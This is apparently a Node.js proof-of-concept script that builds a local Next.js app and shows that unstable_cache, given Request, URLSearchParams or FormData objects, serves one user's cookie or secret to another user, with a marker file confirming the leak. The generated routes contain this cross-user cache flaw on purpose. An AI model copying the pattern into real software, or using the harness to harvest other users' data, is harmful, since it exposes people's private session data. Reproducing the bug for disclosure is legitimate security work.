import childProcess from 'node:child_process'
import fs from 'node:fs/promises'
import net from 'node:net'
import os from 'node:os'
import path from 'node:path'
import process from 'node:process'
import { fileURLToPath } from 'node:url'
const root = path.dirname(fileURLToPath(import.meta.url))
function parseArgs(argv) {
const args = {
workDir: path.join(root, 'run', 'stock-nextjs-unstable-cache'),
port: 3560,
nextVersion: '16.3.0-canary.70',
keepServer: false,
}
for (let i = 0; i < argv.length; i += 1) {
const arg = argv[i]
if (arg === '--work-dir') {
args.workDir = path.resolve(argv[++i])
} else if (arg === '--port') {
args.port = Number(argv[++i])
} else if (arg === '--next-version') {
args.nextVersion = argv[++i]
} else if (arg === '--keep-server') {
args.keepServer = true
} else {
throw new Error(`unknown argument: ${arg}`)
}
}
return args
}
async function writeFile(name, data) {
await fs.mkdir(path.dirname(name), { recursive: true })
await fs.writeFile(name, data)
}
function run(cmd, args, cwd) {
const npmCli = path.join(path.dirname(process.execPath), 'node_modules', 'npm', 'bin', 'npm-cli.js')
const command = process.platform === 'win32' && cmd === 'npm' ? process.execPath : cmd
const finalArgs = process.platform === 'win32' && cmd === 'npm' ? [npmCli, ...args] : args
const result = childProcess.spawnSync(command, finalArgs, {
cwd,
encoding: 'utf8',
})
return result
}
function spawnNext(appDir, port) {
return childProcess.spawn(
process.execPath,
['node_modules/next/dist/bin/next', 'start', '-H', '127.0.0.1', '-p', String(port)],
{
cwd: appDir,
stdio: ['ignore', 'pipe', 'pipe'],
windowsHide: true,
}
)
}
async function waitForPort(port, proc) {
const start = Date.now()
let output = ''
proc.stdout.on('data', (chunk) => {
output += chunk.toString()
})
proc.stderr.on('data', (chunk) => {
output += chunk.toString()
})
while (Date.now() - start < 30000) {
if (proc.exitCode !== null) {
throw new Error(`next exited early with ${proc.exitCode}\n${output}`)
}
try {
await new Promise((resolve, reject) => {
const socket = net.connect(port, '127.0.0.1')
socket.once('connect', () => {
socket.end()
resolve()
})
socket.once('error', reject)
})
return output
} catch {
await new Promise((resolve) => setTimeout(resolve, 250))
}
}
throw new Error(`timed out waiting for next\n${output}`)
}
async function stop(proc) {
if (proc && proc.exitCode === null) {
proc.kill('SIGTERM')
await new Promise((resolve) => {
const timer = setTimeout(resolve, 5000)
proc.once('exit', () => {
clearTimeout(timer)
resolve()
})
})
}
}
async function get(origin, pathname, cookie) {
const res = await fetch(`${origin}${pathname}`, {
headers: cookie ? { cookie } : {},
redirect: 'manual',
})
return {
status: res.status,
body: (await res.text()).trim(),
}
}
async function post(origin, pathname, fields) {
const res = await fetch(`${origin}${pathname}`, {
method: 'POST',
headers: { 'content-type': 'application/x-www-form-urlencoded' },
body: new URLSearchParams(fields),
redirect: 'manual',
})
return {
status: res.status,
body: (await res.text()).trim(),
}
}
function includesAll(text, needles) {
return needles.every((needle) => text.includes(needle))
}
async function createApp(appDir, nextVersion) {
await fs.rm(appDir, { recursive: true, force: true })
await fs.mkdir(appDir, { recursive: true })
await writeFile(path.join(appDir, 'package.json'), `${JSON.stringify({
private: true,
scripts: {
build: 'next build',
start: 'next start -H 127.0.0.1',
},
dependencies: {
next: nextVersion,
react: '19.2.3',
'react-dom': '19.2.3',
},
}, null, 2)}\n`)
await writeFile(path.join(appDir, 'next.config.js'), 'module.exports = {}\n')
await writeFile(path.join(appDir, 'app', 'layout.jsx'), `export default function RootLayout({ children }) {
return (
{children}
)
}
`)
await writeFile(path.join(appDir, 'app', 'page.jsx'), `export default function Page() {
return ready
}
`)
await writeFile(path.join(appDir, 'app', 'api', 'request', 'route.js'), `import { unstable_cache } from 'next/cache'
export const dynamic = 'force-dynamic'
function cachedRequestFor(group) {
return unstable_cache(
async (request) => {
return \`REQ_COOKIE=\${request.headers.get('cookie') ?? 'missing'};REQ_URL=\${request.url};JSON=\${JSON.stringify(request)};TS=\${Date.now()}\`
},
['request-object', group],
{ revalidate: 3600 }
)
}
function cachedRequestValueFor(group) {
return unstable_cache(
async (cookieHeader) => {
return \`REQ_VALUE_COOKIE=\${cookieHeader ?? 'missing'};TS=\${Date.now()}\`
},
['request-value', group],
{ revalidate: 3600 }
)
}
export async function GET(request) {
const url = new URL(request.url)
const group = url.searchParams.get('group') || 'default'
const mode = url.searchParams.get('mode') || 'object'
const result = mode === 'value'
? await cachedRequestValueFor(group)(request.headers.get('cookie'))
: await cachedRequestFor(group)(request)
return new Response(result, { headers: { 'content-type': 'text/plain' } })
}
`)
await writeFile(path.join(appDir, 'app', 'api', 'urlsearch', 'route.js'), `import { unstable_cache } from 'next/cache'
export const dynamic = 'force-dynamic'
function cachedUrlSearchFor(group) {
return unstable_cache(
async (searchParams) => {
return \`URL_SECRET=\${searchParams.get('secret') ?? 'missing'};JSON=\${JSON.stringify(searchParams)};TS=\${Date.now()}\`
},
['urlsearch-object', group],
{ revalidate: 3600 }
)
}
function cachedUrlSearchValueFor(group) {
return unstable_cache(
async (secret) => {
return \`URL_VALUE_SECRET=\${secret ?? 'missing'};TS=\${Date.now()}\`
},
['urlsearch-value', group],
{ revalidate: 3600 }
)
}
export async function GET(request) {
const searchParams = new URL(request.url).searchParams
const group = searchParams.get('group') || 'default'
const mode = searchParams.get('mode') || 'object'
const result = mode === 'value'
? await cachedUrlSearchValueFor(group)(searchParams.get('secret'))
: await cachedUrlSearchFor(group)(searchParams)
return new Response(result, { headers: { 'content-type': 'text/plain' } })
}
`)
await writeFile(path.join(appDir, 'app', 'api', 'form', 'route.js'), `import { unstable_cache } from 'next/cache'
export const dynamic = 'force-dynamic'
function cachedFormFor(group) {
return unstable_cache(
async (formData) => {
return \`FORM_SECRET=\${formData.get('secret') ?? 'missing'};JSON=\${JSON.stringify(formData)};TS=\${Date.now()}\`
},
['form-object', group],
{ revalidate: 3600 }
)
}
function cachedFormValueFor(group) {
return unstable_cache(
async (secret) => {
return \`FORM_VALUE_SECRET=\${secret ?? 'missing'};TS=\${Date.now()}\`
},
['form-value', group],
{ revalidate: 3600 }
)
}
export async function POST(request) {
const formData = await request.formData()
const group = formData.get('group') || 'default'
const mode = formData.get('mode') || 'object'
const result = mode === 'value'
? await cachedFormValueFor(group)(formData.get('secret'))
: await cachedFormFor(group)(formData)
return new Response(result, { headers: { 'content-type': 'text/plain' } })
}
`)
}
async function main() {
const args = parseArgs(process.argv.slice(2))
const appDir = path.join(args.workDir, 'app')
const logsDir = path.join(args.workDir, 'logs')
const origin = `http://127.0.0.1:${args.port}`
await fs.rm(args.workDir, { recursive: true, force: true })
await fs.mkdir(logsDir, { recursive: true })
await createApp(appDir, args.nextVersion)
const install = run('npm', ['install', '--no-audit', '--no-fund'], appDir)
await writeFile(path.join(logsDir, 'npm-install.stdout.log'), install.stdout ?? '')
await writeFile(path.join(logsDir, 'npm-install.stderr.log'), install.stderr ?? String(install.error ?? ''))
if (install.status !== 0) {
throw new Error('npm install failed')
}
const build = run('npm', ['run', 'build'], appDir)
await writeFile(path.join(logsDir, 'next-build.stdout.log'), build.stdout ?? '')
await writeFile(path.join(logsDir, 'next-build.stderr.log'), build.stderr ?? String(build.error ?? ''))
if (build.status !== 0) {
throw new Error('next build failed')
}
let server
const evidence = {
nextVersion: args.nextVersion,
platform: `${os.platform()} ${os.arch()}`,
node: process.version,
results: {},
restart: {},
}
try {
server = spawnNext(appDir, args.port)
evidence.startup = await waitForPort(args.port, server)
evidence.results.requestObjectAliceBob = [
await get(origin, '/api/request?group=request-a&case=alice', 'victim=alice'),
await get(origin, '/api/request?group=request-a&case=bob', 'victim=bob'),
]
evidence.results.requestObjectBobAlice = [
await get(origin, '/api/request?group=request-b&case=bob', 'victim=bob'),
await get(origin, '/api/request?group=request-b&case=alice', 'victim=alice'),
]
evidence.results.requestValueControl = [
await get(origin, '/api/request?mode=value&group=request-value', 'victim=alice'),
await get(origin, '/api/request?mode=value&group=request-value', 'victim=bob'),
]
evidence.results.urlSearchAliceBob = [
await get(origin, '/api/urlsearch?group=url-a&secret=alice'),
await get(origin, '/api/urlsearch?group=url-a&secret=bob'),
]
evidence.results.urlSearchBobAlice = [
await get(origin, '/api/urlsearch?group=url-b&secret=bob'),
await get(origin, '/api/urlsearch?group=url-b&secret=alice'),
]
evidence.results.urlSearchValueControl = [
await get(origin, '/api/urlsearch?mode=value&group=url-value&secret=alice'),
await get(origin, '/api/urlsearch?mode=value&group=url-value&secret=bob'),
]
evidence.results.formDataAliceBob = [
await post(origin, '/api/form', { group: 'form-a', secret: 'alice' }),
await post(origin, '/api/form', { group: 'form-a', secret: 'bob' }),
]
evidence.results.formDataBobAlice = [
await post(origin, '/api/form', { group: 'form-b', secret: 'bob' }),
await post(origin, '/api/form', { group: 'form-b', secret: 'alice' }),
]
evidence.results.formDataValueControl = [
await post(origin, '/api/form', { mode: 'value', group: 'form-value', secret: 'alice' }),
await post(origin, '/api/form', { mode: 'value', group: 'form-value', secret: 'bob' }),
]
await stop(server)
server = undefined
server = spawnNext(appDir, args.port)
evidence.restartStartup = await waitForPort(args.port, server)
evidence.restart.requestObject = await get(origin, '/api/request?group=request-a&case=charlie', 'victim=charlie')
evidence.restart.urlSearch = await get(origin, '/api/urlsearch?group=url-a&secret=charlie')
evidence.restart.formData = await post(origin, '/api/form', { group: 'form-a', secret: 'charlie' })
} finally {
if (!args.keepServer) {
await stop(server)
}
}
const checks = {
requestObjectAliceBob: includesAll(evidence.results.requestObjectAliceBob[1].body, ['REQ_COOKIE=victim=alice', 'JSON={}']),
requestObjectBobAlice: includesAll(evidence.results.requestObjectBobAlice[1].body, ['REQ_COOKIE=victim=bob', 'JSON={}']),
requestValueControl: evidence.results.requestValueControl[0].body.includes('victim=alice') && evidence.results.requestValueControl[1].body.includes('victim=bob'),
urlSearchAliceBob: includesAll(evidence.results.urlSearchAliceBob[1].body, ['URL_SECRET=alice', 'JSON={}']),
urlSearchBobAlice: includesAll(evidence.results.urlSearchBobAlice[1].body, ['URL_SECRET=bob', 'JSON={}']),
urlSearchValueControl: evidence.results.urlSearchValueControl[0].body.includes('URL_VALUE_SECRET=alice') && evidence.results.urlSearchValueControl[1].body.includes('URL_VALUE_SECRET=bob'),
formDataAliceBob: includesAll(evidence.results.formDataAliceBob[1].body, ['FORM_SECRET=alice', 'JSON={}']),
formDataBobAlice: includesAll(evidence.results.formDataBobAlice[1].body, ['FORM_SECRET=bob', 'JSON={}']),
formDataValueControl: evidence.results.formDataValueControl[0].body.includes('FORM_VALUE_SECRET=alice') && evidence.results.formDataValueControl[1].body.includes('FORM_VALUE_SECRET=bob'),
restartRequestObject: evidence.restart.requestObject.body.includes('REQ_COOKIE=victim=alice'),
restartUrlSearch: evidence.restart.urlSearch.body.includes('URL_SECRET=alice'),
restartFormData: evidence.restart.formData.body.includes('FORM_SECRET=alice'),
}
evidence.checks = checks
const confirmed = Object.values(checks).every(Boolean)
evidence.confirmed = confirmed
await writeFile(path.join(logsDir, 'evidence.json'), `${JSON.stringify(evidence, null, 2)}\n`)
const markerFile = path.join(args.workDir, 'VULNERABILITY_CONFIRMED.marker')
if (confirmed) {
await writeFile(markerFile, [
'confirmed=true',
`next_version=${args.nextVersion}`,
'request_object_second_seen=alice',
'urlsearch_second_seen=alice',
'formdata_second_seen=alice',
'restart_request_object_seen=alice',
'restart_urlsearch_seen=alice',
'restart_formdata_seen=alice',
'',
].join('\n'))
}
console.log(`next_version=${args.nextVersion}`)
console.log(`build_exit=${build.status}`)
for (const [name, value] of Object.entries(checks)) {
console.log(`${name}=${value}`)
}
console.log(`confirmed=${confirmed}`)
console.log(`marker_file=${confirmed ? markerFile : ''}`)
console.log(`evidence_json=${path.join(logsDir, 'evidence.json')}`)
console.log(`work_dir=${args.workDir}`)
if (!confirmed) {
process.exitCode = 1
}
}
main().catch((error) => {
console.error(error.stack || String(error))
process.exitCode = 1
})